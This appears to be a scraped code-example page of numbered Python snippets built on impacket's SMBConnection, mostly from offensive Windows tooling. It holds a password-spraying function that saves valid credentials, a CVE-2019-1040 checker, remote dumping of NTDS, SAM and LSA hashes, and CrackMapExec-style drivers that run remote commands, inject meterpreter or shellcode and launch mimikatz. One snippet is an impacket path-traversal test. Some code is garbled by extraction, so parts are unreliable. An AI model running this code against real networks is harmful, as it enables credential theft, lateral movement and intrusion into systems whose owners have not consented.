                gpttmpl_final._attributes_dict[section_name]._attributes_dict[
                    property_name] = property_values

        return gpttmpl_final
Ejemplo n.º 34
0
    def check(self, remote_host):
        # Validate credentials first
        if not self.creds_validated:
            self.validate_creds(remote_host)
            self.creds_validated = True

        # Now start scanner
        smbClient = SMBConnection(remote_host, remote_host, sess_port=int(self.__port)) #, preferredDialect=SMB2_DIALECT_21
        ntlm.computeResponseNTLMv2 = mod_computeResponseNTLMv2
        try:
            smbClient.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
            logging.info('Target %s is VULNERABLE to CVE-2019-1040 (authentication was accepted)', remote_host)
        except SessionError as exc:
            if 'STATUS_INVALID_PARAMETER' in str(exc):
                logging.info('Target %s is not vulnerable to CVE-2019-1040 (authentication was rejected)', remote_host)
            else:
                logging.warning('Unexpected Exception while authenticating to %s: %s', remote_host, exc)

        smbClient.close()
Ejemplo n.º 35
0
def login(username, password, domain, host, verbose=False):
    # safe way to kill login functionality once exceptions are made
    if shutdown:
        return None
    desc = ""
    with open(spray_logs, "a+") as sf:
        try:
            smbclient = SMBConnection(host, host, sess_port=445)
            if domain:
                conn = smbclient.login(username, password, domain)
            # if domain isn't supplied get it from the server
            else:
                conn = smbclient.login(username, password, domain)
                domain = smbclient.getServerDNSDomainName()
            if conn:
                message = get_pretty_time("success") + "{}\{}:{} ".format(
                    domain, username, password) + colored(
                        "(Successful!)", "green")
                with open(valid_creds, "a+") as f:
                    f.write(domain + "\\" + username + ":" + password + "\r\n")
            smbclient.close()
        # impacket smb session error handling
        except SessionError as e:
            error, desc = e.getErrorString()
            if not domain:
                domain = smbclient.getServerDNSDomainName()
            message = "{}\{}:{} ".format(domain, username, password)
            if error in smb_error_status:
                message = get_pretty_time("warn") + message + colored(
                    error, "yellow")
            elif error == smb_error_locked:
                message = get_pretty_time("danger") + message + colored(
                    error, "red")
                print(message)
                raise Locked(username)
            else:
                message = get_pretty_time() + message + error
            smbclient.close()
        print(message)
        if verbose and desc:
            print(desc)
        sf.write(message + "\r\n")
Ejemplo n.º 36
0
class test_login(Thread):
    def __init__(self, target):
        Thread.__init__(self)

        self.__target = target
        self.__dstip = self.__target.get_host()
        self.__dstport = self.__target.get_port()
        self.__target_id = self.__target.get_identity()
        self.__destfile = '*SMBSERVER' if self.__dstport == 139 else self.__dstip
        self.__srcfile = conf.name
        self.__timeout = 3

    def connect(self):
        self.smb = SMBConnection(self.__destfile, self.__dstip, self.__srcfile,
                                 self.__dstport, self.__timeout)

    def login(self, user, password, lmhash, nthash, domain):
        self.smb.login(user, password, domain, lmhash, nthash)

    def logoff(self):
        self.smb.logoff()

    def check_admin(self):
        try:
            self.__trans = transport.SMBTransport(remoteName=self.__dstip,
                                                  dstport=self.__dstport,
                                                  filename='svcctl',
                                                  smb_connection=self.smb,
                                                  remote_host=self.__dstip)
            self.__trans.connect()
            self.__dce = self.__trans.get_dce_rpc()
            self.__dce.bind(scmr.MSRPC_UUID_SCMR)
            self.__resp = scmr.hROpenSCManagerW(
                self.__dce, dwDesiredAccess=scmr.SC_MANAGER_CREATE_SERVICE)
            self.__mgr_handle = self.__resp['lpScHandle']
            scmr.hRCloseServiceHandle(self.__dce, self.__mgr_handle)
            self.__dce.disconnect()
            return True
        except rpcrt.DCERPCException, e:
            pass
        except Exception, e:
            logger.error('Check admin error: %s' % str(e))
Ejemplo n.º 37
0
    def get_gpttmpl(self, gpttmpl_path):
        content_io = StringIO()

        gpttmpl_path_split = gpttmpl_path.split('\\')
        target = self._domain_controller
        share = gpttmpl_path_split[3]
        file_name = '\\'.join(gpttmpl_path_split[4:])

        smb_connection = SMBConnection(remoteName=target, remoteHost=target)
        # TODO: kerberos login
        smb_connection.login(self._user, self._password, self._domain,
                             self._lmhash, self._nthash)

        smb_connection.connectTree(share)
        smb_connection.getFile(share, file_name, content_io.write)

        try:
            content = codecs.decode(content_io.getvalue(),
                                    'utf_16_le')[1:].replace('\r', '')
        except UnicodeDecodeError:
            content = content_io.getvalue().replace('\r', '')

        gpttmpl_final = GptTmpl(list())
        for l in content.split('\n'):
            if l.startswith('['):
                section_name = l.strip('[]').replace(' ', '').lower()
                setattr(gpttmpl_final, section_name, Policy(list()))
            elif '=' in l:
                property_name, property_values = [
                    x.strip() for x in l.split('=')
                ]
                if ',' in property_values:
                    property_values = property_values.split(',')
                try:
                    setattr(getattr(gpttmpl_final, section_name),
                            property_name, property_values)
                except UnicodeEncodeError:
                    property_name = property_name.encode('utf-8')
                    setattr(getattr(gpttmpl_final, section_name),
                            property_name, property_values)

        return gpttmpl_final
Ejemplo n.º 38
0
def process_remote(username, password, target, historic):
    hashes = list()

    print("Attempting to connect to {}...".format(target))
    try:
        connection = SMBConnection(target, target)
        connection.login(username, password, "", "", "")

        ops = RemoteOperations(connection, False, None)
        ops.setExecMethod("smbexec")

        stopper = Event()
        spinner = Thread(target=__update, args=(stopper, hashes))
        spinner.start()
        NTDSHashes(None,
                   None,
                   isRemote=True,
                   remoteOps=ops,
                   noLMHash=True,
                   useVSSMethod=False,
                   justNTLM=True,
                   printUserStatus=True,
                   history=historic,
                   lastLogon=True,
                   pwdLastSet=True,
                   perSecretCallback=lambda type, secret: hashes.append(
                       __process_hash(secret))).dump()
        stopper.set()
        spinner.join()

        if len(hashes) == 0:
            raise Exception(
                "Extraction seemingly finished successfully but I didn't find any hashes..."
            )

        return __get_domain(hashes), hashes
    except socket_error:
        raise Exception("Failed to connect to {}".format(target))
    except SessionError as e:
        if e.error == 3221225581:
            raise Exception(
                "Username or password incorrect - please try again.")
Ejemplo n.º 39
0
def init_smb_session(args, domain, username, password, address, lmhash, nthash):
    smbClient = SMBConnection(address, args.target_ip, sess_port=int(args.port))
    dialect = smbClient.getDialect()
    if dialect == SMB_DIALECT:
        logging.debug("SMBv1 dialect used")
    elif dialect == SMB2_DIALECT_002:
        logging.debug("SMBv2.0 dialect used")
    elif dialect == SMB2_DIALECT_21:
        logging.debug("SMBv2.1 dialect used")
    else:
        logging.debug("SMBv3.0 dialect used")
    if args.k is True:
        smbClient.kerberosLogin(username, password, domain, lmhash, nthash, args.aesKey, args.dc_ip)
    else:
        smbClient.login(username, password, domain, lmhash, nthash)
    if smbClient.isGuestSession() > 0:
        logging.debug("GUEST Session Granted")
    else:
        logging.debug("USER Session Granted")
    return smbClient
Ejemplo n.º 40
0
    def test_smbserver_share_list(self):
        """Test listing files in a shared folder.
        """
        server = SimpleSMBServer(listenAddress=self.address,
                                 listenPort=int(self.port))
        server.addCredential(self.username, 0, self.lmhash, self.nthash)
        server.addShare(self.share_name, self.share_path)
        self.start_smbserver(server)

        client = SMBConnection(self.address,
                               self.address,
                               sess_port=int(self.port))
        client.login(self.username, self.password)
        client.listPath(self.share_name, "/")

        # Check path traversal in list as in #1066
        with self.assertRaises(SessionError):
            client.listPath(self.share_name, "../impacket/")

        client.close()
Ejemplo n.º 41
0
class Pipes(Thread):
    def __init__(self, transport, pipe, permissions, share=None):
        Thread.__init__(self)
        self.server = 0
        self.transport = transport
        self.credentials = transport.get_credentials()
        self.tid = 0
        self.fid = 0
        self.share = share
        self.port = transport.get_dport()
        self.pipe = pipe
        self.permissions = permissions
        self.daemon = True

    def connectPipe(self):
        try:
            lock.acquire()
            global dialect
            #self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT)
            self.server = SMBConnection(self.transport.get_smb_connection().getRemoteName(), self.transport.get_smb_connection().getRemoteHost(),
                                        sess_port=self.port, preferredDialect=dialect)
            user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
            if self.transport.get_kerberos() is True:
                self.server.kerberosLogin(user, passwd, domain, lm, nt, aesKey, kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS)
            else:
                self.server.login(user, passwd, domain, lm, nt)
            lock.release()
            self.tid = self.server.connectTree('IPC$') 

            self.server.waitNamedPipe(self.tid, self.pipe)
            self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80)
            self.server.setTimeout(1000000)
        except:
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            logging.error("Something wen't wrong connecting the pipes(%s), try again" % self.__class__)
Ejemplo n.º 42
0
def main_greenlet(host):

    try:

        smb = SMBConnection(host, host, None, settings.args.port)
        try:
            smb.login('' , '')
        except SessionError as e:
            if "STATUS_ACCESS_DENIED" in e.message:
                pass

        domain = settings.args.domain
        s_name = smb.getServerName()
        if not domain:
            domain = smb.getServerDomain()
            if not domain:
                domain = s_name

        cme_logger = CMEAdapter(logging.getLogger('CME'), {'host': host, 
                                                           'hostname': s_name,
                                                           'port': settings.args.port,
                                                           'service': 'SMB'})

        cme_logger.info(u"{} (name:{}) (domain:{})".format(smb.getServerOS(), s_name, domain))

        if settings.args.mssql_instance or settings.args.mssql is not None:
            mssql_greenlet(host, s_name, domain)
            return

        try:
            '''
                DC's seem to want us to logoff first
                Windows workstations sometimes reset the connection, so we handle both cases here
                (go home Windows, you're drunk)
            '''
            smb.logoff()
        except NetBIOSError:
            pass
        except socket.error:
            smb = SMBConnection(host, host, None, settings.args.port)

        if (settings.args.user is not None and (settings.args.passwd is not None or settings.args.hash is not None)) or settings.args.combo_file:

            smb = smart_login(host, domain, smb, cme_logger)
            #Get our IP from the socket
            local_ip = smb.getSMBServer().get_socket().getsockname()[0]

            if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload:
                rfs = RemoteFileSystem(host, smb, cme_logger)
                if settings.args.delete:
                    rfs.delete()
                if settings.args.download:
                    rfs.download()
                if settings.args.upload:
                    rfs.upload()
                if settings.args.list:
                    rfs.list()

            if settings.args.enum_shares:
                shares = SHAREDUMP(smb, cme_logger)
                shares.dump(host)

            if settings.args.enum_users:
                users = SAMRDump(cme_logger,
                                 '{}/SMB'.format(settings.args.port),
                                 settings.args.user, 
                                 settings.args.passwd, 
                                 domain, 
                                 settings.args.hash, 
                                 settings.args.aesKey,
                                 settings.args.kerb)
                users.dump(host)

            if settings.args.sam or settings.args.lsa or settings.args.ntds:
                dumper = DumpSecrets(cme_logger,
                                     'logs/{}'.format(host),
                                     smb,
                                     settings.args.kerb)

                dumper.do_remote_ops()
                if settings.args.sam:
                    dumper.dump_SAM()
                if settings.args.lsa:
                    dumper.dump_LSA()
                if settings.args.ntds:
                    dumper.dump_NTDS(settings.args.ntds,
                                     settings.args.ntds_history,
                                     settings.args.ntds_pwdLastSet)
                dumper.cleanup()

            if settings.args.pass_pol:
                pass_pol = PassPolDump(cme_logger,
                                 '{}/SMB'.format(settings.args.port),
                                 settings.args.user, 
                                 settings.args.passwd, 
                                 domain,
                                 settings.args.hash, 
                                 settings.args.aesKey,
                                 settings.args.kerb)
                pass_pol.dump(host)

            if settings.args.rid_brute:
                lookup = LSALookupSid(cme_logger,
                                      settings.args.user,
                                      settings.args.passwd,
                                      domain,
                                      '{}/SMB'.format(settings.args.port), 
                                      settings.args.hash, 
                                      settings.args.rid_brute)
                lookup.dump(host)

            if settings.args.enum_sessions or settings.args.enum_disks or settings.args.enum_lusers:
                rpc_query = RPCQUERY(cme_logger,
                                     settings.args.user, 
                                     settings.args.passwd, 
                                     domain, 
                                     settings.args.hash)

                if settings.args.enum_sessions:
                    rpc_query.enum_sessions(host)
                if settings.args.enum_disks:
                    rpc_query.enum_disks(host)
                if settings.args.enum_lusers:
                    rpc_query.enum_lusers(host)

            if settings.args.spider:
                smb_spider = SMBSPIDER(cme_logger, host, smb)
                smb_spider.spider(settings.args.spider, settings.args.depth)
                smb_spider.finish()

            if settings.args.wmi_query:
                wmi_query = WMIQUERY(cme_logger,
                                     settings.args.user,  
                                     domain,
                                     settings.args.passwd,
                                     settings.args.hash,
                                     settings.args.kerb,
                                     settings.args.aesKey)

                wmi_query.run(settings.args.wmi_query, host, settings.args.namespace)

            if settings.args.check_uac:
                uac = UACdump(cme_logger, smb, settings.args.kerb)
                uac.run()

            if settings.args.enable_wdigest or settings.args.disable_wdigest:
                wdigest = WdisgestEnable(cme_logger, smb, settings.args.kerb)
                if settings.args.enable_wdigest:
                    wdigest.enable()
                elif settings.args.disable_wdigest:
                    wdigest.disable()

            if settings.args.service:
                service_control = SVCCTL(cme_logger,
                                         settings.args.user, 
                                         settings.args.passwd, 
                                         domain,
                                         '{}/SMB'.format(settings.args.port),
                                         settings.args.service, 
                                         settings.args)
                service_control.run(host)

            if settings.args.command:
                EXECUTOR(cme_logger, 
                         settings.args.command, 
                         host, 
                         domain, 
                         settings.args.no_output, 
                         smb, 
                         settings.args.execm)

            if settings.args.pscommand:
                EXECUTOR(cme_logger, 
                         ps_command(settings.args.pscommand, settings.args.ps_arch), 
                         host, 
                         domain, 
                         settings.args.no_output, 
                         smb, 
                         settings.args.execm)

            if settings.args.mimikatz:
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(cme_logger, 
                         powah_command.mimikatz(), 
                         host, 
                         domain, 
                         True, 
                         smb, 
                         settings.args.execm)

            if settings.args.gpp_passwords:
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(cme_logger, 
                         powah_command.gpp_passwords(), 
                         host, 
                         domain, 
                         True, 
                         smb, 
                         settings.args.execm)      

            if settings.args.mimikatz_cmd:
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(cme_logger, 
                         powah_command.mimikatz(settings.args.mimikatz_cmd), 
                         host, 
                         domain, 
                         True, 
                         smb, 
                         settings.args.execm)

            if settings.args.powerview:
                #For some reason powerview functions only seem to work when using smbexec...
                #I think we might have a mistery on our hands boys and girls!
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(cme_logger, 
                         powah_command.powerview(settings.args.powerview), 
                         host, 
                         domain, 
                         True, 
                         smb, 
                         'smbexec')

            if settings.args.inject:
                powah_command = PowerShell(settings.args.server, local_ip)
                if settings.args.inject.startswith('met_'):
                    EXECUTOR(cme_logger, 
                             powah_command.inject_meterpreter(), 
                             host, 
                             domain, 
                             True, 
                             smb, 
                             settings.args.execm)

                if settings.args.inject == 'shellcode':
                    EXECUTOR(cme_logger, 
                             powah_command.inject_shellcode(), 
                             host, 
                             domain, 
                             True,
                             smb, 
                             settings.args.execm)

                if settings.args.inject == 'dll' or settings.args.inject == 'exe':
                    EXECUTOR(cme_logger, 
                             powah_command.inject_exe_dll(), 
                             host, 
                             domain, 
                             True, 
                             smb, 
                             settings.args.execm)
        try:
            smb.logoff()
        except:
            pass

    except SessionError as e:
        print_error("{}:{} {}".format(host, settings.args.port, e))
        if settings.args.verbose: traceback.print_exc()

    except NetBIOSError as e:
        print_error("{}:{} NetBIOS Error: {}".format(host, settings.args.port, e))
        if settings.args.verbose: traceback.print_exc()

    except DCERPCException as e:
        print_error("{}:{} DCERPC Error: {}".format(host, settings.args.port, e))
        if settings.args.verbose: traceback.print_exc()

    except socket.error as e:
        if settings.args.verbose: print_error(str(e))
        return
Ejemplo n.º 43
0
def main():
    # Init the example's logger theme
    logger.init()
    print(version.BANNER)
    parser = argparse.ArgumentParser(add_help = True, description = "SMB client implementation.")

    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
    parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the mini shell')
    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')

    group = parser.add_argument_group('authentication')

    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
    group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
                                                       '(KRB5CCNAME) based on target parameters. If valid credentials '
                                                       'cannot be found, it will use the ones specified in the command '
                                                       'line')
    group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
                                                                            '(128 or 256 bits)')

    group = parser.add_argument_group('connection')

    group.add_argument('-dc-ip', action='store', metavar="ip address",
                       help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in '
                            'the target parameter')
    group.add_argument('-target-ip', action='store', metavar="ip address",
                       help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
                            'This is useful when target is the NetBIOS name and you cannot resolve it')
    group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
                       help='Destination port to connect to SMB Server')

    if len(sys.argv)==1:
        parser.print_help()
        sys.exit(1)

    options = parser.parse_args()

    if options.debug is True:
        logging.getLogger().setLevel(logging.DEBUG)
    else:
        logging.getLogger().setLevel(logging.INFO)

    import re
    domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
        options.target).groups('')

    #In case the password contains '@'
    if '@' in address:
        password = password + '@' + address.rpartition('@')[0]
        address = address.rpartition('@')[2]

    if options.target_ip is None:
        options.target_ip = address

    if domain is None:
        domain = ''

    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
        from getpass import getpass
        password = getpass("Password:"******"Executing commands from %s" % options.file.name)
            for line in options.file.readlines():
                if line[0] != '#':
                    print("# %s" % line, end=' ')
                    shell.onecmd(line)
                else:
                    print(line, end=' ')
        else:
            shell.cmdloop()
    except Exception as e:
        if logging.getLogger().level == logging.DEBUG:
            import traceback
            traceback.print_exc()
        logging.error(str(e))
Ejemplo n.º 44
0
class DumpSecrets:
    def __init__(self, remoteName, username='', password='', domain='', options=None):
        self.__useVSSMethod = options.use_vss
        self.__remoteName = remoteName
        self.__remoteHost = options.target_ip
        self.__username = username
        self.__password = password
        self.__domain = domain
        self.__lmhash = ''
        self.__nthash = ''
        self.__aesKey = options.aesKey
        self.__smbConnection = None
        self.__remoteOps = None
        self.__SAMHashes = None
        self.__NTDSHashes = None
        self.__LSASecrets = None
        self.__systemHive = options.system
        self.__bootkey = options.bootkey
        self.__securityHive = options.security
        self.__samHive = options.sam
        self.__ntdsFile = options.ntds
        self.__history = options.history
        self.__noLMHash = True
        self.__isRemote = True
        self.__outputFileName = options.outputfile
        self.__doKerberos = options.k
        self.__justDC = options.just_dc
        self.__justDCNTLM = options.just_dc_ntlm
        self.__justUser = options.just_dc_user
        self.__pwdLastSet = options.pwd_last_set
        self.__printUserStatus= options.user_status
        self.__resumeFileName = options.resumefile
        self.__canProcessSAMLSA = True
        self.__kdcHost = options.dc_ip
        self.__options = options

        if options.hashes is not None:
            self.__lmhash, self.__nthash = options.hashes.split(':')

    def connect(self):
        self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost)
        if self.__doKerberos:
            self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
                                               self.__nthash, self.__aesKey, self.__kdcHost)
        else:
            self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)

    def dump(self):
        try:
            if self.__remoteName.upper() == 'LOCAL' and self.__username == '':
                self.__isRemote = False
                self.__useVSSMethod = True
                if self.__systemHive:
                    localOperations = LocalOperations(self.__systemHive)
                    bootKey = localOperations.getBootKey()
                    if self.__ntdsFile is not None:
                    # Let's grab target's configuration about LM Hashes storage
                        self.__noLMHash = localOperations.checkNoLMHashPolicy()
                else:
                    import binascii
                    bootKey = binascii.unhexlify(self.__bootkey)

            else:
                self.__isRemote = True
                bootKey = None
                try:
                    try:
                        self.connect()
                    except Exception as e:
                        if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True:
                            # SMBConnection failed. That might be because there was no way to log into the
                            # target system. We just have a last resort. Hope we have tickets cached and that they
                            # will work
                            logging.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e))
                            pass
                        else:
                            raise

                    self.__remoteOps  = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost)
                    self.__remoteOps.setExecMethod(self.__options.exec_method)
                    if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True:
                        self.__remoteOps.enableRegistry()
                        bootKey             = self.__remoteOps.getBootKey()
                        # Let's check whether target system stores LM Hashes
                        self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy()
                except Exception as e:
                    self.__canProcessSAMLSA = False
                    if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \
                        and self.__doKerberos is True:
                        # Giving some hints here when SPN target name validation is set to something different to Off
                        # This will prevent establishing SMB connections using TGS for SPNs different to cifs/
                        logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user')
                    else:
                        logging.error('RemoteOperations failed: %s' % str(e))

            # If RemoteOperations succeeded, then we can extract SAM and LSA
            if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA:
                try:
                    if self.__isRemote is True:
                        SAMFileName         = self.__remoteOps.saveSAM()
                    else:
                        SAMFileName         = self.__samHive

                    self.__SAMHashes    = SAMHashes(SAMFileName, bootKey, isRemote = self.__isRemote)
                    self.__SAMHashes.dump()
                    if self.__outputFileName is not None:
                        self.__SAMHashes.export(self.__outputFileName)
                except Exception as e:
                    logging.error('SAM hashes extraction failed: %s' % str(e))

                try:
                    if self.__isRemote is True:
                        SECURITYFileName = self.__remoteOps.saveSECURITY()
                    else:
                        SECURITYFileName = self.__securityHive

                    self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps,
                                                   isRemote=self.__isRemote, history=self.__history)
                    self.__LSASecrets.dumpCachedHashes()
                    if self.__outputFileName is not None:
                        self.__LSASecrets.exportCached(self.__outputFileName)
                    self.__LSASecrets.dumpSecrets()
                    if self.__outputFileName is not None:
                        self.__LSASecrets.exportSecrets(self.__outputFileName)
                except Exception as e:
                    if logging.getLogger().level == logging.DEBUG:
                        import traceback
                        traceback.print_exc()
                    logging.error('LSA hashes extraction failed: %s' % str(e))

            # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
            if self.__isRemote is True:
                if self.__useVSSMethod and self.__remoteOps is not None:
                    NTDSFileName = self.__remoteOps.saveNTDS()
                else:
                    NTDSFileName = None
            else:
                NTDSFileName = self.__ntdsFile

            self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history,
                                           noLMHash=self.__noLMHash, remoteOps=self.__remoteOps,
                                           useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM,
                                           pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName,
                                           outputFileName=self.__outputFileName, justUser=self.__justUser,
                                           printUserStatus= self.__printUserStatus)
            try:
                self.__NTDSHashes.dump()
            except Exception as e:
                if logging.getLogger().level == logging.DEBUG:
                    import traceback
                    traceback.print_exc()
                if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
                    # We don't store the resume file if this error happened, since this error is related to lack
                    # of enough privileges to access DRSUAPI.
                    resumeFile = self.__NTDSHashes.getResumeSessionFile()
                    if resumeFile is not None:
                        os.unlink(resumeFile)
                logging.error(e)
                if self.__justUser and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >=0:
                    logging.info("You just got that error because there might be some duplicates of the same name. "
                                 "Try specifying the domain name for the user as well. It is important to specify it "
                                 "in the form of NetBIOS domain name/user (e.g. contoso/Administratror).")
                elif self.__useVSSMethod is False:
                    logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
            self.cleanup()
        except (Exception, KeyboardInterrupt) as e:
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            logging.error(e)
            if self.__NTDSHashes is not None:
                if isinstance(e, KeyboardInterrupt):
                    while True:
                        answer =  input("Delete resume session file? [y/N] ")
                        if answer.upper() == '':
                            answer = 'N'
                            break
                        elif answer.upper() == 'Y':
                            answer = 'Y'
                            break
                        elif answer.upper() == 'N':
                            answer = 'N'
                            break
                    if answer == 'Y':
                        resumeFile = self.__NTDSHashes.getResumeSessionFile()
                        if resumeFile is not None:
                            os.unlink(resumeFile)
            try:
                self.cleanup()
            except:
                pass

    def cleanup(self):
        try:
            logging.info('Cleaning up... ')
            if self.__remoteOps:
                self.__remoteOps.finish()
            if self.__SAMHashes:
                self.__SAMHashes.finish()
            if self.__LSASecrets:
                self.__LSASecrets.finish()
            if self.__NTDSHashes:
                self.__NTDSHashes.finish()
        except Exception as e:
            if str(e).find('ERROR_DEPENDENT_SERVICES_RUNNING') < 0:
                raise
Ejemplo n.º 45
0
        password = getpass("Password:")

    if options.aesKey is not None:
        options.k = True

    if options.hashes is not None:
        lmhash, nthash = options.hashes.split(':')
    else:
        lmhash = ''
        nthash = ''

    try:
        smbClient = SMBConnection(address, options.target_ip, sess_port=int(options.port))#, preferredDialect=SMB_DIALECT)
        if options.k is True:
            smbClient.kerberosLogin(username, password, domain, lmhash, nthash, options.aesKey, options.dc_ip)
        else:
            smbClient.login(username, password, domain, lmhash, nthash)

        if smbClient.getDialect() != SMB_DIALECT:
            # Let's disable SMB3 Encryption for now
            smbClient._SMBConnection._Session['SessionFlags'] &=  ~SMB2_SESSION_FLAG_ENCRYPT_DATA
        pipeDream = PIPEDREAM(smbClient, options)
        pipeDream.run()
    except Exception, e:
        if logging.getLogger().level == logging.DEBUG:
            import traceback
            traceback.print_exc()
        logging.error(str(e))

Ejemplo n.º 46
0
def connector(target, args, db, module, context, cmeserver):

    try:

        smb = SMBConnection(target, target, None, args.smb_port)

        #Get our IP from the socket
        local_ip = smb.getSMBServer().get_socket().getsockname()[0]

        #Get the remote ip address (in case the target is a hostname) 
        remote_ip = smb.getRemoteHost()

        try:
            smb.login('' , '')
        except SessionError as e:
            if "STATUS_ACCESS_DENIED" in e.message:
                pass

        domain     = smb.getServerDomain()
        servername = smb.getServerName()
        serveros   = smb.getServerOS()

        if not domain:
            domain = servername

        db.add_host(remote_ip, servername, domain, serveros)

        logger = CMEAdapter(getLogger('CME'), {'host': remote_ip, 'port': args.smb_port, 'hostname': u'{}'.format(servername)})

        logger.info(u"{} (name:{}) (domain:{})".format(serveros, servername.decode('utf-8'), domain.decode('utf-8')))

        try:
            '''
                DC's seem to want us to logoff first
                Windows workstations sometimes reset the connection, so we handle both cases here
                (go home Windows, you're drunk)
            '''
            smb.logoff()
        except NetBIOSError:
            pass
        except socket.error:
            pass

        if args.mssql:
            instances = None
            logger.extra['port'] = args.mssql_port
            ms_sql = tds.MSSQL(target, args.mssql_port, logger)
            ms_sql.connect()

            instances = ms_sql.getInstances(10)
            if len(instances) > 0:
                logger.info("Found {} MSSQL instance(s)".format(len(instances)))
                for i, instance in enumerate(instances):
                    logger.highlight("Instance {}".format(i))
                    for key in instance.keys():
                        logger.highlight(key + ":" + instance[key])

            try:
                ms_sql.disconnect()
            except:
                pass

        if args.username and (args.password or args.hash):
            conn = None

            if args.mssql and (instances is not None and len(instances) > 0):
                conn = tds.MSSQL(target, args.mssql_port, logger)
                conn.connect()
            elif not args.mssql:
                conn = SMBConnection(target, target, None, args.smb_port)

            if conn is None:
                return

            if args.domain:
                domain = args.domain

            connection = Connection(args, db, target, servername, domain, conn, logger, cmeserver)

            if (connection.password is not None or connection.hash is not None) and connection.username is not None:
                if module is not None:

                    module_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': remote_ip, 'port': args.smb_port, 'hostname': servername})
                    context = Context(db, module_logger, args)
                    context.localip  = local_ip

                    if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
                        cmeserver.server.context.localip = local_ip

                    if hasattr(module, 'on_login'):
                        module.on_login(context, connection)

                    if hasattr(module, 'on_admin_login') and connection.admin_privs:
                        module.on_admin_login(context, connection)
                else:
                    if connection.admin_privs and (args.pscommand or args.command):

                        get_output = True if args.no_output is False else False
                        if args.mssql: args.exec_method = 'mssqlexec'

                        if args.command:
                            output = connection.execute(args.command, get_output=get_output)

                        if args.pscommand:
                            output = connection.execute(create_ps_command(args.pscommand), get_output=get_output)

                        logger.success('Executed command {}'.format('via {}'.format(args.exec_method) if args.exec_method else ''))
                        buf = StringIO(output).readlines()
                        for line in buf:
                            logger.highlight(line.strip())

                    if args.mssql and args.mssql_query:
                        conn.sql_query(args.mssql_query)
                        query_output = conn.printRows()
                        
                        logger.success('Executed MSSQL query')
                        buf = StringIO(query_output).readlines()
                        for line in buf:
                            logger.highlight(line.strip())

                    elif not args.mssql:

                        if connection.admin_privs and (args.sam or args.lsa or args.ntds):
                            secrets_dump = DumpSecrets(connection, logger)

                            if args.sam:
                                secrets_dump.SAM_dump()

                            if args.lsa:
                                secrets_dump.LSA_dump()

                            if args.ntds:
                                secrets_dump.NTDS_dump(args.ntds, args.ntds_pwdLastSet, args.ntds_history)

                        if connection.admin_privs and args.wdigest:
                            w_digest = WDIGEST(logger, connection.conn)

                            if args.wdigest == 'enable':
                                w_digest.enable()

                            elif args.wdigest == 'disable':
                                w_digest.disable()

                        if connection.admin_privs and args.uac:
                            UAC(connection.conn, logger).enum()

                        if args.spider:
                            spider = SMBSpider(logger, connection, args)
                            spider.spider(args.spider, args.depth)
                            spider.finish()

                        if args.enum_shares:
                            ShareEnum(connection.conn, logger).enum()

                        if args.enum_lusers or args.enum_disks or args.enum_sessions:
                            rpc_connection = RPCQUERY(connection, logger)

                            if args.enum_lusers:
                                rpc_connection.enum_lusers()

                            if args.enum_sessions:
                                rpc_connection.enum_sessions()

                            if args.enum_disks:
                                rpc_connection.enum_disks()

                        if args.pass_pol:
                            PassPolDump(logger, args.smb_port, connection).enum()

                        if args.enum_users:
                            SAMRDump(logger, args.smb_port, connection).enum()

                        if connection.admin_privs and args.wmi_query:
                            WMIQUERY(logger, connection, args.wmi_namespace).query(args.wmi_query)

                        if args.rid_brute:
                            LSALookupSid(logger, args.smb_port, connection, args.rid_brute).brute_force()

    except socket.error:
        return
Ejemplo n.º 47
0
